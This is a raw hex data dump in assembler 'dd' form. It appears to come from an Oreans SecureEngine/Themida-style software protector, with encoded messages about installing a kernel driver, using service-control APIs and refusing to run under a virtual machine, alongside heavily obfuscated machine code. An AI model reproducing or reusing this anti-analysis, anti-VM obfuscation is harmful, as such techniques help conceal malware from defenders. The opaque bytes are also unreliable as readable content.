72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) dd 8B000000h, 0A98589C4h, 89064433h, 44298985h, 0C88B6606h dd 7E9C08Bh, 0C3000000h, 0CD33346Bh, 5E95CD2h, 0FB000000h dd 562DD5ABh, 20CDBD83h, 75000644h, 25BD8309h, 6440Bh dd 53501974h, 3DB8C08Bh, 89000004h, 4402F585h, 4F9D8D06h dd 0FF0646A8h, 83585BD3h, 440B25BDh, 17740006h, 3DB85350h dd 89000004h, 4402F585h, 3E9D8D06h, 0FF0646A5h, 6A585BD3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 7FC5C356h, 0F5FB8B66h, 0C08BC08Bh, 0CE9h dd 640F4800h, 1D911551h, 8290E14h, 12E926h, 532E0000h dd 0CA6770D8h, 1D376E81h, 657AD2Ah, 0FF808A05h, 20CDBD83h dd 75000644h, 25BD8309h, 6440Bh, 53501374h, 0B8C08Bh, 8D000000h dd 46A6F19Dh, 5BD3FF06h, 25BD8358h, 6440Bh, 53501174h dd 0B8h, 0A29D8D00h, 0FF0646A5h, 0B2585BD3h, 0B5BF661Ah dd 6AC08B8Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0CBAEC355h, 20BA968Ah, 0FC08B28h dd 387h, 0C88B6600h, 20CDBD83h, 75000644h, 25BD8309h, 6440Bh dd 53501374h, 0B8C08Bh, 8D000000h, 46A6239Dh, 5BD3FF06h dd 25BD8358h, 6440Bh, 53501174h, 0B8h, 709D8D00h, 0FF0646A5h dd 0E9585BD3h, 0Dh, 0E29D3CCAh, 6477F0C6h, 0FF3A9579h dd 0BE99Ah, 1E70000h, 557A8A57h, 9CE8E95h, 8BC08BDBh, 4414C58Dh dd 0F9C08B06h, 20CDBD83h, 75000644h, 25BD8309h, 6440Bh dd 53501374h, 0B8C08Bh, 8D000000h, 46A68A9Dh, 5BD3FF06h dd 25BD8358h, 6440Bh, 53501174h, 0B8h, 899D8D00h, 0FF0646A5h dd 31585BD3h, 441B1D8Dh, 0A972B906h, 0C08B51BEh, 2E35952Bh dd 0C08B0644h, 13E9h, 1957E600h, 0A4E3E228h, 2ADD73Ch dd 0BF4F810Dh, 26155461h, 20CDBD83h, 75000644h, 25BD8309h dd 6440Bh, 53501374h, 0B8C08Bh, 8D000000h, 46A5BC9Dh, 5BD3FF06h dd 71BD2358h, 8006441Fh, 0C08BBAC9h, 0C08BCF8Bh, 1029958Bh dd 0BD830644h, 64420CDh, 83097500h, 440B25BDh, 19740006h dd 0C08B5350h, 7D0B8h, 0F5858900h, 8D064402h, 46A84F9Dh dd 5BD3FF06h, 25BD8358h, 6440Bh, 53501774h, 7D0B8h, 0F5858900h dd 8D064402h, 46A53E9Dh, 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 80D3862Fh dd 14E909F1h, 75000000h, 0BA70D534h, 1DE6D4FAh, 0B3CFA783h dd 0A63F3CCCh, 667E56FFh, 8BA371BFh, 0C9BD8BD6h, 8B06441Fh dd 9BD89C0h, 0F806440Eh, 2E985C6h, 6A530644h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0B7E6C356h, 4C287372h, 5F9068D1h, 8B609939h, 441D75B5h dd 0BDBD0906h, 6106440Dh, 2D7DB5FFh, 14E90644h, 84000000h dd 6CAF55B4h, 0A688B062h, 0AA97B262h, 97F561AEh, 8D60A4C7h dd 443A6585h, 66D0FF06h, 8589CE8Bh, 6440BF9h, 6860Fh, 8D890000h dd 64402DDh, 2E985C6h, 60570644h, 0BE9h, 88B74C00h, 0E6E93AA7h dd 0C566DA58h, 5E961h, 0E3190000h, 689DBA65h, 90045206h dd 1EBDBD31h, 0B5FF0644h, 6442D7Dh, 33A1BD8Bh, 85890644h dd 6441A11h, 3A65858Dh, 8B660644h, 6820FD6h, 8B000000h dd 442AAD95h, 6AD0FF06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 52D0C352h, 10E960B3h dd 6D000000h, 6DE25A75h, 0C43E1A46h, 0E6EA6BCh, 0E91A4263h dd 7, 0CE661514h, 6140B4B1h, 0ACA3B966h, 22818589h, 81660644h dd 0C6C1D0C9h, 4402E985h, 6A4306h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 6809F8C3h, 0BC907028h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 94C35040h dd 56BDED60h, 85BD42ACh, 99BD31E0h, 0FF064419h, 442D7DB5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 6D8D8BFBh, 8D064430h, 443A6585h, 81BD8906h dd 0F064410h, 0D0FFCBB7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 8AC35747h, 98331175h, 0E7EE73B8h, 58F0Fh dd 0CCBF0000h, 0E9306ECCh, 0Ah, 4BA1C5A5h, 0E0353256h dd 8589FB17h, 6441F8Dh, 8A5958Bh, 85C60644h, 64402E9h dd 0CD9814Ch, 681EAE66h, 0D9DA1CE9h, 3598D33h, 0B5FF0644h dd 6442D7Dh, 8DFEBF0Fh, 443A6585h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 858993BBh dd 64408B1h, 0BD8BD0FFh, 6442355h, 2A18589h, 0C6F50644h dd 4402E985h, 7E94606h, 6C000000h, 2DB54F57h, 1468F7B6h dd 0E8BADE06h, 0Eh, 339C7326h, 4B4529B5h, 0B5A1C70Ah, 0B501F46Fh dd 6442F41h, 7DB5FF59h, 6A06442Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 962AC353h dd 1611AE1Ah, 9D9D0981h, 8D064422h, 443A6585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0FB1A453Eh, 66D0FFF9h, 175C281h, 7B99523h, 85890644h dd 644304Dh, 13E8h, 0BB347300h, 6F932CF6h, 630709A2h, 97C83685h dd 6FA6EF20h, 0C65ACE8Ah, 4402E985h, 0BD094706h, 6440C79h dd 68A0Fh, 8D8B0000h, 6441821h, 0FB5E268h, 1B81BF8Ah, 81665B07h dd 0FFC25FC9h, 442D7DB5h, 319D8906h, 8D064426h, 443A6585h dd 9B52906h, 0FF064431h, 0B0E2BFD0h, 0C6803365h, 2D8589C3h dd 0F06441Ch, 85C6FAB7h, 64402E9h, 798D8B47h, 68064402h dd 83D0B5F3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 9CC35545h, 0D9E5B96Ch, 0B5FF2F11h, 6442D7Dh, 38A0Fh dd 8B660000h, 65858DD1h, 8B06443Ah, 4422498Dh, 31D0FF06h dd 440D618Dh, 51858906h, 89064400h, 441CC19Dh, 0E18D8B06h dd 0C606440Fh, 4402E985h, 6A7706h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0CE3BABC3h, 858960ECh dd 6440755h, 10698D01h, 68610644h, 0F397A8A3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 65C35646h, 0D26EE275h dd 0B5FF157Fh, 6440E25h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 46C35747h, 17005B99h, 0B70FC91Bh, 65858DCEh dd 106443Ah, 4421798Dh, 0E18D2906h, 0FF064410h, 0FDB529D0h dd 8906441Ch, 4409A185h, 0E985C606h, 47064402h, 68C0F56h dd 89000000h, 4433B1BDh, 0F6685A06h, 538728FAh, 0C7CFBF66h dd 0DA81665Fh, 0B5FFF29Bh, 6442D7Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 65C35242h, 0CC7D62B3h, 22544826h dd 0CE8h, 404C8900h, 462FE6C6h, 56E3FB4h, 4DBD8B62h, 5A06442Ah dd 5E9h, 0AB90A000h, 858D2348h, 6443A65h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 2DC35141h, 0C0308C60h dd 38AC60Ch, 0C2816635h, 0D0FFBEDFh, 858998B6h, 6441EC5h dd 85C6D38Bh, 64402E9h, 0B4B66043h dd 0BF77BA66h, 6EFC6861h, 8B66BC8Eh, 7DB5FFCBh, 0F06442Dh dd 680h, 61B58900h, 8D06440Ch, 443A6585h, 35958B06h, 0FF064415h dd 858956D0h, 64417C9h, 0C98D8B59h, 8906442Fh, 441BF985h dd 0B5852906h, 0C6064402h, 4402E985h, 0BE84506h, 88000000h dd 8E11369Ch, 7E618912h, 29608639h, 4431CD9Dh, 7DBD8B06h dd 6106442Ah, 6969685Fh, 6A8E72h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0E66B65C3h, 3F3210BAh dd 10C9BD01h, 0FFF80644h, 442D7DB5h, 5BD8906h, 8D064418h dd 443A6585h, 0AFC98006h, 9D01D0FFh, 6441D95h, 20E18589h dd 9D290644h, 6441739h, 2E985C6h, 0F440644h, 0A84h, 0F98B6000h dd 311D9D89h, 68610644h, 0B8F2EC64h, 10E9h, 0C772C300h dd 210AA99h, 89118BD2h, 4798F8E6h, 7DB5FF51h, 0E806442Dh dd 0Ah, 0A6809BEAh, 1A043F6Ah, 0E9815A24h, 3136F514h, 65858D59h dd 5006443Ah, 1C058D8Bh, 0FF590644h, 89D781D0h, 0E97A47FAh dd 0Ch, 0FD80986Bh, 0FD7C39E4h, 0D722BA08h, 30A18589h dd 0CB8B0644h, 2E985C6h, 0B6430644h, 4AA768C0h, 0BD8BC076h dd 6440741h, 2D7DB5FFh, 0BF0F0644h, 65858DF8h, 6A06443Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0C39C357h, 66832669h, 0FCD0FFDCh, 14418589h dd 80F50644h, 46FB22BDh, 840F0006h, 8Eh, 1EDD958Bh, 858D0644h dd 646FB04h, 0F98D3350h, 6A064406h, 6ACA8A01h, 0ED858900h dd 6A06442Fh, 34CD8000h, 1F8D95FFh, 12E90644h, 87000000h dd 0E91A2335h, 55EF6586h, 49CC4E28h, 910A2572h, 0E958B924h dd 85895B94h, 6442CEDh, 0A237B966h, 0CE8BFF6Ah, 2EA5BD8Bh dd 0B5FF0644h, 6442CEDh, 1C8F0Fh, 10E80000h, 92000000h dd 14B01EF3h, 0A39163B3h, 0E90F03C4h, 891047A1h, 442C25B5h dd 95FF5F06h, 6442281h, 0DF18D89h, 0C08B0644h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 3BC35646h, 0F1D7A00Dh dd 0BD8329C4h, 64420CDh, 83097500h, 440B25BDh, 19740006h dd 0C08B5350h, 7D1B8h, 0F5858900h, 8D064402h, 46A84F9Dh dd 5BD3FF06h, 25BD8358h, 6440Bh, 53501774h, 7D1B8h, 0F5858900h dd 8D064402h, 46A53E9Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 9042F14Dh dd 6860Fh, 0B5890000h, 6441641h, 1C5D952Bh, 0C08B0644h dd 785BD29h, 0D2BA0644h, 0C609905Ah, 4402E985h, 85894706h dd 6442CC1h, 0C8F7C168h, 14C98193h, 0FF6469AFh, 442D7DB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 6AD8FD4Ch, 0B820FF1h, 60000000h, 820Fh dd 8B660000h, 858D61F1h, 6443A65h, 0FFAFE680h, 0EE9D0h dd 0A3AB0000h, 74519526h, 68875A88h, 0BF0EF22Bh, 2699589h dd 0F500644h, 81h, 45858D00h, 890646FFh, 441D9585h, 9400C706h dd 0E9000000h, 6, 2105F7C0h, 89589739h, 442FF59Dh, 45B58D06h dd 8B0646FFh, 4430F9BDh, 880F5606h, 6, 2EB59589h, 0D0FF0644h dd 6DD3C781h, 858D7838h, 646FF45h, 0AF78CABAh, 478833Ah dd 23850F06h, 31000000h, 44023995h, 0D985C706h, 10646FFh dd 60000000h, 0BD9958Bh, 8C0F0644h, 5, 9AD28166h, 0BD8361B4h dd 6441745h, 81850F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 3782C351h dd 6C65C5A1h, 0BD29EED0h, 6443161h, 0FFD9BD83h, 0F000646h dd 4B85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 94C3754Ch, 8B098E16h, 0F5958BCBh dd 8306441Bh, 442A8DBDh, 840F0006h, 14h, 858D8B57h, 5A064402h dd 24E585C7h, 644h, 0D38A0000h, 66DB8C66h, 0F68000BAh dd 840F04C3h, 4FBh, 2F618D8Bh, 85C70644h, 6442F11h, 0 dd 68E0Fh, 0BD8B0000h, 64428D9h, 0FB2FBD80h, 0F000646h dd 185h, 85C6F500h, 64402E9h, 0F1BD8B47h, 6806440Ch, 0E3E45B86h dd 68C0Fh, 9D890000h, 6440F81h, 2D7DB5FFh, 6A0644h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 53225EC3h, 7E9C66Ch, 87000000h, 90B1D280h, 858DDA92h dd 6443A65h, 8BD0FFF8h, 10468D0h, 0D78A0000h, 0E519D8Dh dd 0B5890644h, 64431B1h, 14E853h, 133F0000h, 0A8DF2CE2h dd 354BBE4Ah, 70E0B88Fh, 707DFE5Fh, 11E9FA92h, 7A000000h dd 0C7C3EE77h, 2631C300h, 0F9E9775Bh, 69C902D1h, 66D0FF5Ah dd 8DCF9DBAh, 440E5185h, 81665006h, 8DB7C4EAh, 46FAE185h dd 10E85206h, 0B1000000h, 5C9FEF4Fh, 0D446CF14h, 0CBD3F0A2h dd 0B8B3AB9h, 440DE995h, 505A5F06h, 5D950Bh, 858D0644h dd 646F1B4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 3EC35646h, 8D8B987Ch, 6442425h, 0A5958B50h, 0FF06442Ah dd 4409A195h, 0D1F28106h, 8343F93Ch, 6A0CC4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 18E456C3h dd 8AB53F61h, 68006ACFh, 80h, 6A036Ah, 68006Ah, 8D800000h dd 46F1B485h, 95FF5006h, 6441BF9h, 0FAC48589h, 85C60646h dd 64402E9h, 5E876847h, 0B5FFC7B1h, 6442D7Dh, 3A65858Dh dd 0D0FF0644h, 0B5FF006Ah, 646FAC4h, 6AD0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0B89507C3h dd 0A205AEC6h, 0D88160F7h, 0AE8EE77h, 61F08B66h, 0D03DE88Ah dd 0F000037h, 6183h, 258D8900h, 0FF064408h, 46FAC4B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 95893070h, 6442191h, 0FFD0B70Fh, 44144195h dd 75BD2306h, 0E9064420h, 0E8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0E5C35242h, 0B5FF2E12h, 646FAC4h dd 5800Fh, 0C0B90000h, 0FF647BBFh, 44144195h, 75ED8006h dd 8D29006Ah, 6440B19h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0B6107EC3h, 0CB5538BCh dd 14E9h, 0A52FDB00h, 88912617h, 0F7434571h, 0E6DB188Eh dd 0FB4AFF6Ah, 1830F45h, 0F8000000h, 0FA8B006Ah, 0E9006AF8h dd 14h, 0F9D7782Dh, 6929C187h, 6D712079h, 0C896E813h, 0DF81FDF7h dd 958B006Ah, 6441A95h, 0CE80006Ah, 0C8858DD6h, 0E90646FAh dd 5, 23C01AAh, 27BF5046h, 0FF5A509Dh, 441BF995h, 8D895106h dd 6440F8Dh, 0F58D8B5Ah, 8306441Dh, 850FFFF8h, 141h, 0DBD6B966h dd 0B244858Dh, 0CE8A0646h, 840FD0FFh, 3, 0FF8B70Fh, 684h dd 1DBD0900h, 6A06441Dh, 0BDB50100h, 6A06442Ah, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0BA3E9889h, 7E9B338h, 64000000h, 44A6E2Ah, 0B589CBC7h dd 64424A1h, 950B006Ah, 64403FDh, 0B966006Ah, 6AE52Eh dd 2DB50956h, 5F064408h, 0BE9h, 0BE92AC00h, 0C37BA643h dd 764888C2h, 0C781006Ah, 63238680h, 0FAC8858Dh, 5EB60646h dd 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 4116D1A5h, 6CE98166h, 0F995FF42h, 0E906441Bh dd 0Fh, 0AF61685Dh, 2ABE9BF8h, 3478F440h, 664322EEh, 0F883CB8Bh dd 5E850FFFh, 8B000000h, 4419D995h, 0D0B58D06h, 660646F4h dd 8DC251B9h, 46A17385h, 258D8B06h, 0F064430h, 68Ch, 0F1BD0100h dd 0FF06442Eh, 659589D0h, 0E9064416h, 8, 0DFD4D92Eh, 0ED3C3A80h dd 95FF006Ah, 64420E1h, 0FC80D181h, 8A0F0EF9h, 0Dh, 5E8h dd 99295100h, 5F5703F4h, 0C4858959h, 0E90646FAh, 7, 0B52A75BDh dd 6A6E3A9Ah, 85858900h, 8D06442Eh, 46FABC85h, 0FDB52906h dd 50064424h, 3241BD8Bh, 46A0644h, 14E9h, 1D15F500h, 3FFD1DB0h dd 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 1D858DA4h, 8B064404h dd 44205595h, 9E86006h, 0E4000000h, 0A606A6h, 0C62D85A8h dd 0DBD8589h, 0F590644h, 589h, 1B55BF00h, 50611281h, 2C59958Bh dd 6A0644h, 2D85BD8Bh, 6A0644h, 6AD78B66h, 0C4B5FF01h dd 8B0646FAh, 0A195FFCFh, 0F5064430h, 1ACBE9h, 6F28100h dd 8B572C20h, 12E8C0h, 644C0000h, 49EFA9FCh, 0C4523383h dd 0A04096D0h, 0B8363580h, 22559509h, 83590644h, 4420CDBDh dd 9750006h, 0B25BD83h, 74000644h, 8B535019h, 7D2B8C0h dd 85890000h, 64402F5h, 0A84F9D8Dh, 0D3FF0646h, 0BD83585Bh dd 6440B25h, 50177400h, 7D2B853h, 85890000h, 64402F5h dd 0A53E9D8Dh, 0D3FF0646h, 800F585Bh, 6, 0FF59589h, 0F530644h dd 68Eh, 860F00h, 5F000000h, 13CF8153h, 5A51C0ABh, 0BD89C08Bh dd 6441CE1h, 2F1185C7h, 10644h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 8B2BDFC3h dd 0DD9D01E8h, 68064423h, 0CEE4E7B8h, 1D85B5FFh, 858D0644h dd 6443A65h, 8589D0FFh, 6443169h, 5DBD468h, 85B5FFC0h dd 8D06441Dh, 443A6585h, 89D0FF06h, 4419E585h, 6D858D06h dd 500646EFh, 2D7DB5FFh, 95FF0644h, 6441C2Dh, 0B74C00Bh dd 858DD88Bh, 646FF20h, 8DD3FF50h, 46FF2085h, 38836606h dd 0C70A7509h, 44217D85h, 106h, 0C595FF00h, 2506441Eh dd 0FFh, 7305F883h, 0A185C70Ah, 106442Dh, 8B000000h, 4421718Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0F556C58h, 0B966D7BFh, 0BD80B48Bh, 646FB2Fh dd 0C850F00h, 0F8000000h, 193FE9h, 0DD9D2900h, 83064418h dd 44217DBDh, 850F0006h, 0D9h, 1F9D9D89h, 858D0644h, 646FAF9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 2FC35545h dd 6A50F57Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 67BC357h, 29EEDD61h, 16A64A8h dd 8166006Ah, 6AF64DDAh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 8BCF8F02h, 52AC06FCh dd 0BA662557h, 95FF8008h, 6441F8Dh, 0DE36C781h, 85891E29h dd 646FB23h, 0FF6ACFB1h, 421B531h, 8C0F0644h, 6, 1E05958Bh dd 0B5FF0644h, 646FB23h, 5E9h, 0C01A6800h, 0CE9C956h, 9B000000h dd 0F5F6D2AFh, 5480F986h, 0FF19983Ah, 44228195h, 0B5895206h dd 6442FADh, 34858D5Fh, 90646EFh, 44023995h, 0CAB70F06h dd 118D8B50h, 0FF06440Bh, 4402A195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 81FF7357h dd 88FA4CC7h, 0BE85894Eh, 890646EFh, 442375B5h, 41858D06h dd 0E90646EFh, 7, 1108AAA1h, 505CD4E8h, 2161952Bh, 0B5FF0644h dd 646EFBEh, 2575BD01h, 95FF0644h, 6441C2Dh, 0CC98589h dd 0BD890644h, 6440959h, 0EFAF858Dh, 880F0646h, 6, 31D98D03h dd 80500644h, 0B5FF16E5h, 646EFBEh, 0FFF88B66h dd 441C2D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0D580E5h, 6D030AB9h, 0D285891Ch dd 310646EFh, 442CC19Dh, 8E858D06h, 8B0646EFh, 442F618Dh dd 0E1815006h, 15085E87h, 5E8h, 8C7BA900h, 8166467Dh, 5A8594E1h dd 0EFBEB5FFh, 6A0646h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 4F17E4C3h, 0FB34475h, 95FFD3BFh dd 6441C2Dh, 2A69B509h, 85890644h, 646EFCAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D1C35747h, 0FCFA1219h dd 0CE98589h, 858D0644h, 646EF81h, 0EE9h, 52603300h, 0FAD52663h dd 0C1521E45h, 507CDACEh, 0AADF8166h, 0BEB5FF91h, 8B0646EFh dd 2D95FFC8h, 6A06441Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0BA4FC352h, 605B543Fh dd 8BCB8B66h, 442D898Dh, 8C0F6106h, 6, 2DB9B529h, 85890644h dd 646EFCEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 28C35646h, 0A580B0EAh, 13CE8082h, 858D8952h, 5A06440Fh dd 0EF9C858Dh, 6A0646h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0A5825FC3h, 12ECB50Ch, 6A505F8Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 7BDCC356h, 0B98D8B71h, 0FF064429h, 46EFBEB5h dd 0FFBF0F06h, 1C2D95FFh, 6A0644h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0F70DF0C3h, 9D29C028h dd 6441DC9h, 0A750B966h, 6FD8589h, 8D890644h, 6440345h dd 0EF50858Dh, 6A0646h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 7E99AC3h, 0F9000000h, 4508DE84h dd 0BF0FC1E4h, 0E28150D7h, 20B27297h, 0EFBEB5FFh, 13E90646h dd 13000000h, 4A33DB73h, 0A9965BD7h, 1E266F1h, 0FD4CF404h dd 95FF6AD8h, 6441C2Dh, 21D58D8Bh, 85890644h, 646EFC2h dd 68D0Fh, 0DF810000h, 3561FC16h, 0CE9h, 0D2949F00h, 2B0FC7Dh dd 0AD684932h, 5F858D1Dh, 890646EFh, 4402E1BDh, 95295006h dd 6441565h, 0EFBEB5FFh, 0D08B0646h, 1C2D95FFh, 0FE80644h dd 3E000000h, 0FDCC8244h, 6AAABB58h, 0D0361D6Bh, 0BD8961C8h dd 6441DDDh, 0C685895Fh, 0E90646EFh, 6, 408328F0h, 4686897h dd 8A000001h, 56858DEEh, 8B0646F0h, 44160595h, 0D2815006h dd 7CE59EB6h, 0F15A858Dh, 95010646h, 64402EDh, 51006A50h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E9882EA0h, 0Bh, 68EC6B3Bh, 5E9FE156h, 0FF573523h, 44005195h dd 89CA8B06h, 441D1D8Dh, 0FC08506h, 685h, 0B9958B00h, 8006441Bh dd 46FB2FBDh, 850F0006h, 26h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 91C35545h, 145AE9B5h, 0BF660000h dd 0BD83C670h, 644217Dh, 26850F00h, 0F000000h, 0F8Fh, 8E95100h dd 65000000h, 7EAA07CAh, 590ECF4Ch, 0FFD9BD83h, 0F000646h dd 4984h, 4AB96600h, 0F3858DE1h, 6A0646EFh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 249BC351h dd 0EC226185h, 66F3BFD1h, 0E9C4B4BAh, 13F0h, 68D0Fh, 0B5890000h dd 6441841h, 0DE9h, 858DF800h, 646EFDEh, 324DB589h, 8B500644h dd 440C41BDh, 56858D06h, 0E80646F0h, 7, 4C6E54E4h, 0FAFBA5Fh dd 505AF8B7h, 83D08B66h, 44217DBDh, 840F0006h, 6Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 81C35343h, 6E99A7Ah dd 81BBC537h, 14D18D31h, 858D0644h, 646F17Ch, 3870Fh, 0C1800000h dd 37E96Dh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0BB8B4CC3h, 0B26A7B1Fh, 9B56E281h dd 852905FCh, 64429A5h, 0F165858Dh, 0CA800646h, 858D503Eh dd 646F1B4h, 31198D29h, 81500644h, 1F0E5BD2h, 0A195FF1Eh dd 89064409h, 4430E585h, 258D8B06h, 83064403h, 13E910C4h dd 0D7000000h, 9337349Fh, 742A2AC8h, 3FB88CBh, 33920B34h dd 0C08B5CD3h, 0F60EE8Ah, 88h, 0E3816600h, 83618BFBh, 4420CDBDh dd 9750006h, 0B25BD83h, 74000644h, 8B535019h, 7D3B8C0h dd 85890000h, 64402F5h, 0A84F9D8Dh, 0D3FF0646h, 0BD83585Bh dd 